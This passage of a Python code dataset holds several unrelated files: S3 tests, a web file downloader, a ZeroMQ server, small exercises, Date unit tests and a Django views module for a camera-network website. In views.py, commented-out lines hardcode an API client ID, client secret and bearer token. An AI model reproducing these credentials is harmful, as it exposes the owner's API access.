QFrame(dsn=\"aurora_db\").from_table(table=table_csv, schema=schema)\r\n assert len(qf_csv) == 30\r\n\r\n qf.rearrange(\r\n [\r\n \"composer\",\r\n \"milliseconds\",\r\n \"bytes\",\r\n \"unit_price\",\r\n \"like_it\",\r\n \"spare_column\",\r\n \"track_id\",\r\n \"name\",\r\n \"album_id\",\r\n \"media_type_id\",\r\n \"genre_id\",\r\n ]\r\n )\r\n qf.to_csv(path_csv)\r\n s3_csv.from_file(keep_file=False)\r\n s3_csv.to_aurora(table=table_csv, schema=schema, dsn=\"aurora_db\", if_exists=\"append\")\r\n assert len(qf_csv) == 60\r\n\r\n qf_csv.distinct()\r\n assert len(qf_csv) == 30\r\n\r\n Source(dsn=\"aurora_db\").drop_table(table=table_csv, schema=schema)\r\n\r\n\r\ndef test_to_serializable():\r\n s3 = S3(bucket=\"acoe-s3\", s3_key=\"test/\", file_name=\"test_s3.json\")\r\n serializable = s3.to_serializable()\r\n assert serializable == {\"a\": 42}\r\n\r\n\r\n# This will fail because of DataFrame replacing empty strings with NaN values\r\n# (lists(text() will generate a list of empty strings) - Michal\r\n# @pytest.mark.parametrize(\"ext\", [\"csv\", \"parquet\", \"xlsx\"])\r\n# @given(col1=lists(text(), min_size=3, max_size=3), col2=lists(integers(), min_size=3, max_size=3))\r\n# def test_from_df_to_df(col1, col2, ext):\r\n# d = {\"col1\": col1, \"col2\": col2}\r\n# df = DataFrame(data=d)\r\n# s3 = S3(f\"test.{ext}\", s3_key=\"grizly/\")\r\n# s3.from_df(df)\r\n# test_df = s3.to_df()\r\n# assert test_df.equals(df)\r\n","sub_path":"tests/test_s3.py","file_name":"test_s3.py","file_ext":"py","file_size_in_byte":6302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"164260500","text":"\"\"\"\nfiledownloader.py is a simple script to download all files of a certain type\n(e.g. pdf) from a web directory\n\ninput - target_directory, ftype, archive_url\nouput - all the files in that directory\n\"\"\"\n\nimport sys\nimport os\nimport requests\nfrom bs4 import BeautifulSoup\n\n\ndef get_file_links(ftype, archive_url):\n\n # create response object\n r = requests.get(archive_url)\n\n # create beautiful-soup object\n soup = BeautifulSoup(r.content, \"html5lib\")\n\n # find all links on web-page\n links = soup.findAll(\"a\")\n\n # filter the link sending with file type\n # specified by ftype (i.e. .pdf, .mp4 etc.)\n file_links = [\n archive_url + link[\"href\"] for link in links if link[\"href\"].endswith(ftype)\n ]\n\n return file_links\n\n\ndef download_files(file_links):\n\n for link in file_links:\n\n \"\"\"iterate through all links in file_links\n and download them one by one\"\"\"\n\n # obtain filename by splitting url and getting\n # last string\n file_name = link.split(\"/\")[-1]\n\n print(\"Downloading file:%s\" % file_name)\n\n # create response object\n r = requests.get(link, stream=True)\n\n # download started\n with open(file_name, \"wb\") as f:\n for chunk in r.iter_content(chunk_size=1024 * 1024):\n if chunk:\n f.write(chunk)\n\n print(\"%s downloaded!\\n\" % file_name)\n\n print(\"All files downloaded!\")\n return\n\n\ndef main():\n target_directory = sys.argv[1]\n os.chdir(target_directory)\n ftype = sys.argv[2]\n archive_url = sys.argv[3]\n file_links = get_file_links(ftype, archive_url)\n os.chdir(target_directory)\n download_files(file_links)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"file_downloader.py","file_name":"file_downloader.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"589113915","text":"import datetime\nimport zmq\n\n# Socket to talk to clients.\ncontext = zmq.Context()\nsocket = context.socket(zmq.REP)\nsocket.bind(\"tcp://*:5555\")\n\n# Server thread loop.\nwhile True:\n # Blocking call.\n # Wait for next request from client.\n message = socket.recv()\n\n # Get current time on client request.\n time = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\n # Send reply back to client.\n socket.send(time.encode('UTF-8'))\n\n# Clean up.\nsocket.close()\ncontext.term()\n","sub_path":"demo_01/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"536582732","text":"# La secuencia de Fibonacci es una función matemática que se define recursivamente.\n# En el año 1202, el matemático italiano Leonardo de Pisa, también conocido como Fibonacci, \n# encontró una fórmula para cuantificar el crecimiento que ciertas poblaciones experimentan.\n\n# Imagina que una pareja de conejos nace, un macho y una hembra, y luego son liberados.\n# Imagina, también, que los conejos se pueden reproducir hasta la edad de un mes y que tienen un periodo de gestación también de un mes.\n# Por último imagina que estos conejos nunca mueren y que la hembra siempre es capaz de producir una nueva pareja (un macho y una hembra).\n# ¿Cuántos conejos existirán al final de seis meses?\n\ndef fibonacci(n):\n if n == 0 or n == 1:\n return 1\n\n return fibonacci(n - 1) + fibonacci(n - 2)\n\nn = int(input('Ingrese un cantidad de meses'))\n\nprint(f'{fibonacci(n)} Conejos al final de {n} meses')","sub_path":"25_fibonnacci.py","file_name":"25_fibonnacci.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"308778753","text":"from date import Date, TimeDelta\nimport unittest\n\n\nclass MyTestCase(unittest.TestCase):\n\n def test_init(self):\n for i in (-1, 1, 32):\n date = i\n for j in (-1, 1, 13):\n month = j\n for k in (0, 1):\n if i == 1 and j == 1 and k == 1:\n pass\n else:\n year = k\n with self.assertRaises(ValueError):\n some_date = Date(date, month, year)\n date1, month1, year1 = 1, 1, 1\n with self.assertRaises(ValueError):\n Date(date1, month1)\n with self.assertRaises(ValueError):\n Date(\"2.2\")\n self.assertEqual(str(Date(\"2.2.2\")), \"02.02.0002\")\n\n def test_repr(self):\n date = 1\n month = 1\n year = 1\n test_date = Date(date, month, year)\n test_timedelta = TimeDelta(date, month, year)\n self.assertEqual(test_date.__repr__(), f\"Date({date}, {month}, {year})\", \"Should be 'Date(1, 1, 1)'\")\n self.assertEqual(test_timedelta.__repr__(), f\"TimeDelta({date},\"\n f\" {month}, {year})\", \"Should be 'TimeDelta(1, 1, 1)'\")\n\n def test_str(self):\n day, month, year = 1, 1, 1\n test_date = Date(day, month, year)\n test_timedelta = TimeDelta(day, month, year)\n self.assertEqual(str(test_date), \"01.01.0001\")\n self.assertEqual(str(test_timedelta), f'{day} day(s), {month} month(s), {year} year(s)')\n day, month, year = 11, 1, 1\n test_date = Date(day, month, year)\n test_timedelta = TimeDelta(day, month, year)\n self.assertEqual(str(test_date), \"11.01.0001\")\n self.assertEqual(str(test_timedelta), f'{day} day(s), {month} month(s), {year} year(s)')\n day, month, year = 11, 11, 1\n test_date = Date(day, month, year)\n test_timedelta = TimeDelta(day, month, year)\n self.assertEqual(str(test_date), \"11.11.0001\")\n self.assertEqual(str(test_timedelta), f'{day} day(s), {month} month(s), {year} year(s)')\n day, month, year = 11, 11, 11\n test_date = Date(day, month, year)\n test_timedelta = TimeDelta(day, month, year)\n self.assertEqual(str(test_date), \"11.11.0011\")\n self.assertEqual(str(test_timedelta), f'{day} day(s), {month} month(s), {year} year(s)')\n year = 111\n test_date = Date(day, month, year)\n test_timedelta = TimeDelta(day, month, year)\n self.assertEqual(str(test_date), \"11.11.0111\")\n self.assertEqual(str(test_timedelta), f'{day} day(s), {month} month(s), {year} year(s)')\n year = 1111\n test_date = Date(day, month, year)\n test_timedelta = TimeDelta(day, month, year)\n self.assertEqual(str(test_date), \"11.11.1111\")\n self.assertEqual(str(test_timedelta), f'{day} day(s), {month} month(s), {year} year(s)')\n\n def test_is_leap_year(self):\n answers = []\n for year in (1, 100, 400, 1000, 2001):\n test_date = Date(11, 11, year)\n answers.append(test_date.is_leap_year(year))\n self.assertEqual(answers, [False, False, True, False, False])\n with self.assertRaises(ValueError):\n test_date.is_leap_year(\"f\")\n\n def test_get_max_days(self):\n j = 1\n for i in (31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31):\n test_date = Date(11, j, 400)\n self.assertEqual(test_date.get_max_day(test_date.month, test_date.year), i)\n j += 1\n j = 1\n for i in (31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31):\n test_date = Date(11, j, 401)\n self.assertEqual(test_date.get_max_day(test_date.month, test_date.year), i)\n j += 1\n\n def test_is_valid_date(self):\n with self.assertRaises(ValueError):\n Date(29, 2, 401)\n\n def test_setters(self):\n test_date = Date(11, 11, 1111)\n test_date.day = 12\n test_date.month = 12\n test_date.year = 1112\n test_date = Date(1, 1, 1)\n\n def test_setters_incorrect(self):\n test_date = Date(1, 1, 1)\n with self.assertRaises(ValueError):\n test_date.day = 32\n with self.assertRaises(ValueError):\n test_date.month = 13\n with self.assertRaises(ValueError):\n test_date.year = 0\n\n def test_sub(self):\n test_date1 = Date(11, 11, 1111)\n test_date2 = Date(12, 12, 1112)\n self.assertEqual(test_date1 - test_date2, -398)\n test_date2 = Date(12, 12, 400)\n self.assertEqual(test_date1 - test_date2, 259654)\n\n def test_sub_incorrect(self):\n test_date1 = Date(11, 11, 1111)\n test_date2 = \"OLOLO\"\n res = test_date1.__sub__(test_date2)\n self.assertEqual(res, NotImplemented)\n\n def test_add(self):\n test_date = Date(11, 11, 1111)\n timedelta = TimeDelta(1, 1, 1)\n summ = test_date + timedelta\n self.assertEqual(str(summ), \"12.12.1112\")\n test_date = Date(28, 2, 400)\n timedelta = TimeDelta(2, 11, 400)\n summ = test_date + timedelta\n self.assertEqual(str(summ), \"01.02.0801\")\n test_date = Date(1, 10, 1)\n timedelta = TimeDelta(30, 1, 0)\n summ = test_date + timedelta\n self.assertEqual(str(summ), \"01.12.0001\")\n\n def test_iadd(self):\n test_date = Date(11, 11, 1111)\n timedelta = TimeDelta(1, 1, 1)\n test_date += timedelta\n self.assertEqual(str(test_date), \"12.12.1112\")\n test_date = Date(28, 2, 400)\n timedelta = TimeDelta(2, 9, 400)\n test_date += timedelta\n self.assertEqual(str(test_date), \"01.12.0800\")\n test_date = Date(31, 12, 400)\n timedelta = TimeDelta(1, 0, 0)\n test_date += timedelta\n self.assertEqual(str(test_date), \"01.01.0401\")\n\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)\n","sub_path":"tests/test_unittest.py","file_name":"test_unittest.py","file_ext":"py","file_size_in_byte":5922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"442355507","text":"import sys\ninput = sys.stdin.readline\n\nn = int(input())\nm = int(input())\nvip = [int(input().split()[0]) for _ in range(m)]\nseats = [i for i in range(1, n+1)]\n\ndp = [0] * 41\ncount = 0\nanswer = 1\n\nvip.sort(reverse=True)\n\ndef fibo(n):\n if n == 0 or n == 1:\n return 1\n if dp[n]:\n return dp[n]\n else:\n dp[n] = fibo(n-1) + fibo(n-2)\n return dp[n]\n\n\nfor i in range(n+1):\n if i == n:\n answer *= fibo(count)\n if vip and seats[i] == vip[-1]:\n vip.pop()\n answer *= fibo(count)\n count = 0\n else:\n count += 1\nprint(answer)","sub_path":"hiseoung/BOJ/DP/20220815_BOJ_2302_극장좌석.py","file_name":"20220815_BOJ_2302_극장좌석.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"130820953","text":"import os\nimport json\nimport urllib\nimport sys\nimport requests\nimport json\nimport datetime\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.forms import PasswordChangeForm\nfrom django.contrib.auth import login, update_session_auth_hash\nfrom django.contrib import messages\nfrom django.conf import settings\nfrom django.shortcuts import render, redirect\nfrom django.template.loader import render_to_string\nfrom django.core.paginator import EmptyPage, PageNotAnInteger, Paginator\nfrom social_django.models import UserSocialAuth\nfrom django.utils.encoding import force_text, force_bytes\nfrom django.utils.http import urlsafe_base64_decode, urlsafe_base64_encode\nfrom .tokens import account_activation_token\nfrom .forms import RegistrationForm, AdditionalForm, AppForm, ProfileEmailForm, NameForm, ReportForm\nfrom django.contrib.auth.models import User\nfrom django.core.mail import mail_admins, send_mail\nfrom .models import Homepage, FAQ, History, Publication, Team, Leader, TeamMember, CAM2dbApi, RegisterUser, Collab, Location, Sponsor, Poster, ReportedCamera, Calendar, Video, Subteam, Member\nfrom django.http import HttpResponseNotFound\nfrom cam2webui.settings import EMAIL_HOST_USER, MANAGER_EMAIL\nimport logging\n\n# Get an instance of a logger\nlogger = logging.getLogger(__name__)\n\n\ndef index(request):\n slide = Homepage.objects.reverse()\n context = {'slide_list': slide}\n return render(request, 'app/index.html', context)\n\ndef cameras(request):\n# context = {'google_api_key': settings.GOOGLE_API_KEY,\n# 'google_client_id': settings.GOOGLE_CLIENT_ID}\n if request.method == 'POST':\n form = ReportForm(request.POST)\n if form.is_valid():\n #recaptcha_response = request.POST.get('g-recaptcha-response')\n #url = 'https://www.google.com/recaptcha/api/siteverify'\n #values = {\n # 'secret': settings.GOOGLE_RECAPTCHA_SECRET_KEY,\n # 'response': recaptcha_response\n #}\n #data = urllib.parse.urlencode(values).encode()\n #req = urllib.request.Request(url, data=data)\n #response = urllib.request.urlopen(req)\n #result = json.loads(response.read().decode())\n #if result['success']:\n\n #get info from form\n camID = form.cleaned_data['cameraID']\n #add info to email template\n #content = render_to_string('app/cam_report_email_template.html', {\n # 'cameraID': camID,\n #})\n #send_mail(\"Camera with Unavailable Image Reported\", content, EMAIL_HOST_USER, [MANAGER_EMAIL])#email admin\n #check for existing reported camera\n camidlist = ReportedCamera.objects.reverse().values_list(\"cameraID\", flat=True)\n user = None\n if (request.user.is_authenticated):\n user = request.user.username\n\n if camID not in camidlist:\n #add info to admin database - using cleaned_data\n\n\n cam_obj = ReportedCamera(username=user, cameraID=camID, reporttime=datetime.datetime.now())\n cam_obj.save()\n\n else:\n cams = ReportedCamera.objects.filter(cameraID__exact=camID)\n logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')\n logging.debug('This is the user : ' + str(cams))\n if(cams):\n for c in cams:\n if (not user in str(c.username)):\n c.username = str(c.username) + ', ' + user\n c.save()\n\n\n #return redirect('email_sent')\n form = ReportForm()\n messages.success(request, 'The unavailable image has been reported. Thank you!')\n\n\n\n else:\n form = ReportForm()\n\n return render(request, \"app/cameras.html\", {'form': form})\n #return render(request, 'app/cameras.html')\n\ndef good_cameras(request):\n return render(request, 'app/good_cameras.html')\n\ndef team(request):\n \"\"\"Renders content for the Team page\n\n Retrieves information from the Team database using the matching Django Model structure.\n\n Args:\n request: the HttpRequest corresponding to the page to be accessed.\n\n Returns:\n A render that displays the page team.html, complete with information from the Team database. \"\"\"\n \n team_list = Team.objects.reverse()\n leader_list = Leader.objects.reverse()\n curmember_list = Member.objects.filter(iscurrentmember=True).order_by(\"membername\")\n oldmember_list = TeamMember.objects.filter(iscurrentmember=False).order_by(\"name\")\n director_list = TeamMember.objects.filter(isdirector=True).order_by(\"name\")\n subteam = Subteam.objects.all()\n members = TeamMember.objects.all()\n \n # Sub team\n image_list = Member.objects.filter(subteam__exact='I').order_by(\"membername\")\n webui_list = Member.objects.filter(subteam__exact='UI').order_by(\"membername\")\n api_list = Member.objects.filter(subteam__exact='D+API').order_by(\"membername\")\n parallel_list = Member.objects.filter(subteam__exact='PP').order_by(\"membername\")\n resource_list = Member.objects.filter(subteam__exact='RM').order_by(\"membername\")\n software_list = Member.objects.filter(subteam__exact='SE').order_by(\"membername\")\n mobile_list = Member.objects.filter(subteam__exact='MA').order_by(\"membername\")\n cameraRelia_list = Member.objects.filter(subteam__exact='CR').order_by(\"membername\")\n cameraDisco_list = Member.objects.filter(subteam__exact='CD').order_by(\"membername\")\n transfer_list = Member.objects.filter(subteam__exact='TL').order_by(\"membername\")\n activeTraining_list = Member.objects.filter(subteam__exact='AT').order_by(\"membername\")\n imageData_list = Member.objects.filter(subteam__exact='ID').order_by(\"membername\")\n drone_list = Member.objects.filter(subteam__exact='DV').order_by(\"membername\")\n forest_list = Member.objects.filter(subteam__exact='FIA').order_by(\"membername\")\n human_list = Member.objects.filter(subteam__exact='HB').order_by(\"membername\")\n crowd_list = Member.objects.filter(subteam__exact='CS').order_by(\"membername\")\n intel_list = Member.objects.filter(subteam__exact='Intel').order_by(\"membername\")\n active_list = Member.objects.filter(subteam__exact='').filter(iscurrentmember=True).order_by(\"membername\") \n\n context = {\n \"team_list\": team_list,\n \"leader_list\": leader_list,\n \"curmember_list\": curmember_list,\n \"oldmember_list\": oldmember_list,\n \"image_list\": image_list,\n \"api_list\": api_list,\n \"webui_list\": webui_list,\n \"parallel_list\": parallel_list,\n \"resource_list\": resource_list,\n \"software_list\": software_list,\n \"mobile_list\": mobile_list,\n \"cameraRelia_list\": cameraRelia_list,\n \"cameraDisco_list\": cameraDisco_list,\n \"transfer_list\": transfer_list,\n \"activeTraining_list\": activeTraining_list,\n \"imageData_list\": imageData_list,\n \"drone_list\": drone_list,\n \"forest_list\": forest_list,\n \"human_list\": human_list,\n \"crowd_list\": crowd_list,\n \"intel_list\": intel_list,\n 'subteams_list': subteam,\n \"members_list\": members,\n \"director_list\": director_list,\n \"active_list\": active_list\n } \n return render(request, 'app/team.html', context) \n\n\"\"\"def team(request):\n team_list = Team.objects.reverse()\n leader_list = Leader.objects.reverse()\n oldmember_list = TeamMember.objects.filter(iscurrentmember=False).order_by(\"name\")\n director_list = TeamMember.objects.filter(isdirector=True).order_by(\"name\")\n subteam = Subteam.objects.all()\n members = TeamMember.objects.all()\n context = {'subteams_list': subteam, \"team_list\": team_list,\"leader_list\": leader_list, \"members_list\": members, \"oldmember_list\": oldmember_list, \"director_list\": director_list}\n return render(request, 'app/team.html', context)\"\"\"\n\ndef team_poster(request):\n poster_images = Poster.objects.reverse()\n context = {\"poster_images\": poster_images}\n return render(request, 'app/team_poster.html', context)\n\ndef training(request):\n\treturn render(request, 'app/training.html')\n\ndef privacy(request):\n return render(request, 'app/privacy.html')\n\ndef terms(request):\n return render(request, 'app/terms.html')\n\ndef acknowledgement(request):\n return render(request, 'app/ack.html')\n\ndef collaborators(request):\n collab = Collab.objects.reverse()\n context = {'collab_list': collab}\n return render(request, 'app/collaborators.html', context)\n\ndef sponsors(request):\n sponsor = Sponsor.objects.reverse()\n context = {'sponsor_list': sponsor}\n return render(request, 'app/sponsors.html', context)\n\ndef calendar(request):\n cal = Calendar.objects.reverse()\n context = {'calendar_list': cal}\n return render(request, 'app/calendar.html', context)\n\ndef location(request):\n loc = Location.objects.reverse()\n context = {'loc_list': loc}\n return render(request, 'app/location.html', context)\n\n#Addition for Testimony Video\ndef testimony_vid1(request):\n\treturn render(request, 'app/testimony_vid.html')\n#def contact(request):\n# return render(request, 'app/contact.html')\n\ndef faqs(request):\n \"\"\"Renders content for the FAQs page\n\n Retrieves information from the FAQ database using the matching Django Model structure.\n\n Args:\n request: the HttpRequest corresponding to the page to be accessed.\n\n Returns:\n A render that displays the page faq.html, complete with information from the FAQs database.\n \"\"\"\n question_list = FAQ.objects.reverse()\n context = {'question_list': question_list}\n return render(request, 'app/faq.html', context)\n\ndef history(request):\n \"\"\"Renders content for the History page\n\n Retrieves information from the History database using the matching Django Model structure.\n\n Args:\n request: the HttpRequest corresponding to the page to be accessed.\n\n Returns:\n A render that displays the page history.html, complete with information from the History database.\n \"\"\"\n history_list = History.objects.order_by('-year', '-month')\n context = {'history_list': history_list}\n return render(request, 'app/history.html', context)\n\ndef publications(request):\n \"\"\"Renders content for the Publications page\n\n Retrieves information from the Publications database using the matching Django Model structure.\n\n Args:\n request: the HttpRequest corresponding to the page to be accessed.\n\n Returns:\n A render that displays the page publications.html, complete with information from the Publications database.\n \"\"\"\n publication_list = Publication.objects.reverse()\n paginator = Paginator(publication_list, 6)\n page = request.GET.get('page')\n\n try:\n publication_paginator = paginator.page(page)\n except PageNotAnInteger:\n publication_paginator = paginator.page(1)\n except EmptyPage:\n publication_paginator = paginator.page(paginator.num_pages)\n\n\n index = publication_paginator.number - 1\n max_index = len(paginator.page_range)\n start_index = index - 5 if index >= 5 else 0\n end_index = index + 5 if index <= max_index - 5 else max_index\n page_range = paginator.page_range[start_index:end_index]\n\n context = {'publication_list': publication_paginator, 'page_range':page_range}\n return render(request, 'app/publications.html', context)\n\ndef new_map(request):\n #client = '34b9eb8afc032098bc96174ec38ca2dba940a401d03c311251af4d8b609f7272c91ed0aaef1ee4eddb4783bcaa3ead7d'\n #secret = 'b0eaea176c29331149557b1c2fe54b82d335c8c30dbed9a50c5e4aa141b15dbefbbfd69'\n #header = {'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRJRCI6IjM0YjllYjhhZmMwMzIwOThiYzk2MTc0ZWMzOGNhMmRiYTk0MGE0MDFkMDNjMzExMjUxYWY0ZDhiNjA5ZjcyNzJjOTFlZDBhYWVmMWVlNGVkZGI0NzgzYmNhYTNlYWQ3ZCIsInBlcm1pc3Npb25MZXZlbCI6InVzZXIiLCJpYXQiOjE1MjgxMjkxNTAsImV4cCI6MTUyODEyOTQ1MH0.xaTv3iT7KJKoQlgZrlpm0d4RuhWjniL5QG6K_RqUWVQ'}\n #params = {'clientID': client, 'clientSecret': secret}\n #rauth = requests.get('https://cam2-api.herokuapp.com/auth', params=params)\n #token = rauth.json()['token']\n #headerval = 'Bearer ' + token\n #header = {'Authorization': headerval}\n #r = requests.get('https://cam2-api.herokuapp.com/cameras/search', headers=header)\n #datalen = len(r.json())\n #data = r.json()\n with open('app/cam_data.json') as f:\n data = json.load(f)\n return render(request, 'app/new_map.html', {'data': data})\n\ndef good_map(request):\n with open('app/cam_data.json') as f:\n data = json.load(f)\n return render(request, 'app/new_map_good.html', {'data': data})\n\ndef advice(request):\n return render(request, 'app/advice.html')\n\ndef register(request):\n \"\"\"Renders content for the Registration form page\n\n Uses the Django Forms structure outlined in forms.py to create a form for users to use\n to register their information. When the user submits this form, it validates it to ensure\n that the values are acceptable and that the required fields were filled, then it stores\n the contents of the form into the Django Admin database for Users. Once this is complete,\n an email is sent to the provided email address that contains an activation link for the user\n to click.\n\n Args:\n request: the HttpRequest corresponding to the page to be accessed or the submitted form.\n\n Returns:\n A render that displays the form page if the page was just accessed or the form was invalid,\n or a redirection to a page that confirms that the account was registered.\n \"\"\"\n if request.method == 'POST':\n form1 = RegistrationForm(request.POST)\n form2 = AdditionalForm(request.POST)\n\n\n if form1.is_valid() and form2.is_valid():\n\n recaptcha_response = request.POST.get('g-recaptcha-response')\n url = 'https://www.google.com/recaptcha/api/siteverify'\n values = {\n 'secret': settings.GOOGLE_RECAPTCHA_SECRET_KEY,\n 'response': recaptcha_response\n }\n data = urllib.parse.urlencode(values).encode()\n req = urllib.request.Request(url, data=data)\n response = urllib.request.urlopen(req)\n result = json.loads(response.read().decode())\n if result['success']:\n model1 = form1.save(commit=False) #Required information of user\n model1.is_active = False #Set true for testing without email.\n model1.save()\n model2 = form2.save(commit=False) #Optional information of user\n model2.user = model1\n model2.save()\n\n #Email user\n current_site = get_current_site(request)\n subject = 'Activate Your CAM2 Account'\n message = render_to_string('app/confirmation_email.html', {\n 'user': model1,\n 'domain': current_site.domain,\n 'uid': urlsafe_base64_encode(force_bytes(model1.pk)).decode(),\n 'token': account_activation_token.make_token(model1),\n })\n model1.email_user(subject, message)\n\n return redirect('email_confirmation_sent')\n else:\n messages.error(request, 'Invalid reCAPTCHA. Please confirm you are not a robot and try again.')\n if 'test' in sys.argv:\n sitekey = os.environ['RECAPTCHA_TEST_SITE_KEY']\n else:\n sitekey = os.environ['RECAPTCHA_SITE_KEY']\n else:\n if 'test' in sys.argv:\n sitekey = os.environ['RECAPTCHA_TEST_SITE_KEY']\n else:\n sitekey = os.environ['RECAPTCHA_SITE_KEY']\n else:\n form1 = RegistrationForm()\n form2 = AdditionalForm()\n if 'test' in sys.argv:\n sitekey = os.environ['RECAPTCHA_TEST_SITE_KEY']\n else:\n sitekey = os.environ['RECAPTCHA_SITE_KEY']\n\n return render(request, 'app/register.html', {'form1': form1, 'form2': form2, 'sitekey': sitekey})\n\ndef email_confirmation_sent(request):\n return render(request, 'app/email_confirmation_sent.html')\n\ndef email_confirmation_invalid(request):\n return render(request, 'app/email_confirmation_invalid.html')\n\ndef account_activated(request):\n return render(request, 'app/account_activated.html')\n\ndef activate(request, uidb64, token):\n \"\"\"Renders content for account activation\n\n Determines which user is attempting to activate their account based on the encoded section of the\n URL used to access the page, sets the user's account to an activated state and saves the change\n to the database, emails the system administrator about the newly registered account, logs the user\n in, and redirects them to the site.\n\n Args:\n request: the HttpRequest corresponding to the page to be accessed.\n uidb64: an encoded form of the user id used in activation.\n token: the access token for activation given by the activation link.\n\n Returns:\n Either a redirection to the site indicating successful confirmation, or a rendering of a page\n that indicates a failure to activate the account.\n \"\"\"\n \"\"\"Followed tutorial: https://simpleisbetterthancomplex.com/tutorial/2017/02/18/how-to-create-user-sign-up-view.html\"\"\"\n try:\n uid = force_text(urlsafe_base64_decode(uidb64))\n user = User.objects.get(pk=uid)\n except (TypeError, ValueError, OverflowError, User.DoesNotExist):\n user = None\n\n if user is not None and account_activation_token.check_token(user, token):\n user.is_active = True\n user.registeruser.email_confirmed = True\n user.save()\n\n optional = RegisterUser.objects.get(user=user) #get optional info of user\n #email admin\n admin_subject = 'New User Registered'\n admin_message = render_to_string('app/new_user_email_to_admin.html', {\n 'user': user,\n 'optional': optional,\n })\n\n\n mail_admins(admin_subject, admin_message)\n login(request, user, backend=\"django.contrib.auth.backends.ModelBackend\")\n return redirect('account_activated')\n else:\n return render(request, 'email_confirmation_invalid.html')\n\n@login_required\ndef profile(request):\n \"\"\"Renders content for the Profile page\n\n For a user that's currently logged in, displays information currently stored in the database\n for that user (First Name, Last Name, email, etc...), and allows the User to modify that\n information using a form.\n\n Also pulls information provided by Github sign-in, if Github authentication was used to access\n the site.\n\n Args:\n request: the HttpRequest corresponding to the page to be accessed.\n\n Returns:\n A render that displays the user's profile page, complete with all information accessible from the\n Django admin database for that specific user.\n \"\"\"\n user = request.user\n try:\n github_login = user.social_auth.get(provider='github')\n except UserSocialAuth.DoesNotExist:\n github_login = None\n\n #initialize forms\n app_form = AppForm()\n apps = CAM2dbApi.objects.filter(user=request.user).values()\n emailForm = ProfileEmailForm(instance=user)\n try:\n optional = RegisterUser.objects.get(user=user)\n except:# If cannot find RegisterUser object(social login users), create one\n add_form = AdditionalForm({})\n optional = add_form.save(commit=False)\n optional.user = user\n optional.save()\n infoForm = AdditionalForm(instance=optional)#get form with info of a specific instance\n\n\n '''\n # Enter name for social login users\n if request.method == 'POST' and 'saveName' in request.POST:\n nameForm = NameForm(request.POST, instance=user)\n if nameForm.is_valid():\n nameForm.save()\n messages.success(request, 'Thank you! Your name has been updated.')\n else:\n nameForm = NameForm(instance=user)\n messages.error(request, 'Something went wrong. Please try again or contact us!')\n #return redirect('profile')\n return render(request, 'app/profile.html', form_dict)\n '''\n # Add app\n if request.method == 'POST' and 'add' in request.POST:\n app_form = AppForm(request.POST)\n if app_form.is_valid():\n dbapp = app_form.save(commit=False)\n dbapp.user = request.user\n dbapp.save()\n return redirect('profile')\n else:\n app_form = AppForm()\n #messages.error(request, 'Something went wrong. Please try again or contact us!')\n #return render(request, 'app/profile.html', form_dict)\n\n # Change Email\n if request.method == 'POST' and 'changeEmail' in request.POST:\n emailForm = ProfileEmailForm(request.POST, instance=user)\n if emailForm.is_valid():\n emailForm.save()\n messages.success(request, 'Your Email has been successfully updated!')\n return redirect('profile')\n else:\n emailForm=ProfileEmailForm(instance=user)\n #messages.error(request, 'Something went wrong. Please try again or contact us!')\n #return render(request, 'app/profile.html', form_dict)\n\n # Modify Profile\n if request.method == 'POST' and 'changeInfo' in request.POST:\n infoForm = AdditionalForm(request.POST, instance=optional)\n if infoForm.is_valid():\n infoForm.save()\n messages.success(request, 'Your information has been successfully updated!')\n return redirect('profile')\n else:\n infoForm=AdditionalForm(instance=optional)\n #messages.error(request, 'Something went wrong. Please try again or contact us!')\n return render(request, 'app/profile.html', {\n 'github_login': github_login,\n 'app_form': app_form,\n 'apps': apps,\n 'infoForm': infoForm,\n 'emailForm': emailForm,\n })\n\n\"\"\" use 'password_reset' instead\ndef change_password(request):\n user = request.user\n passwordform = PasswordChangeForm(user)\n if request.method == 'POST':\n passwordform = PasswordChangeForm(user, request.POST)\n if passwordform.is_valid():\n passwordform.save()\n update_session_auth_hash(request, passwordform.user)\n messages.success(request, 'Your password has been successfully updated!')\n return redirect('profile')\n else:\n passwordform = PasswordChangeForm(user)\n\n return render(request, 'app/change_password.html', {'passwordform': passwordform})\n\"\"\"\n\ndef oauthinfo(request):\n \"\"\"Renders a form for additional content for users authenticated with Github or Google\n\n Retrieves information from the social authentication library provided by Django and allows\n a user authenticated with an external service to provide additional information about themselves\n (organization, location, etc...) that can then be stored within the Django admin user database.\n\n * Note that while this appears to be the intention, it isn't fully implemented yet *\n\n Args:\n request: the HttpRequest corresponding to the page to be accessed.\n\n Returns:\n A render that displays the page for externally authenticated users to add information about themselves.\n \"\"\"\n if request.method == 'POST':\n return redirect('index')\n\n else:\n user = request.user\n if user.is_active:\n return redirect('index')\n else:\n try:\n github_login = user.social_auth.get(provider='github')\n except UserSocialAuth.DoesNotExist:\n github_login = None\n\n form2 = AdditionalForm()\n\n return render(request, 'app/oauthinfo.html', {'form2': form2})\n\n\ndef error500(request):\n return render(request, 'app/500.html')\n\ndef error404(request, exception, template_name='app/404.html'):\n return render(request, 'app/404.html')\n\ndef api_request(request):\n template_name = 'app/api_access.html'\n return render(request, template_name)\n\ndef videos(request):\n video = Video.objects.all()\n context = {'videos_list': video}\n return render(request, 'app/videos.html', context)\n return render(request, 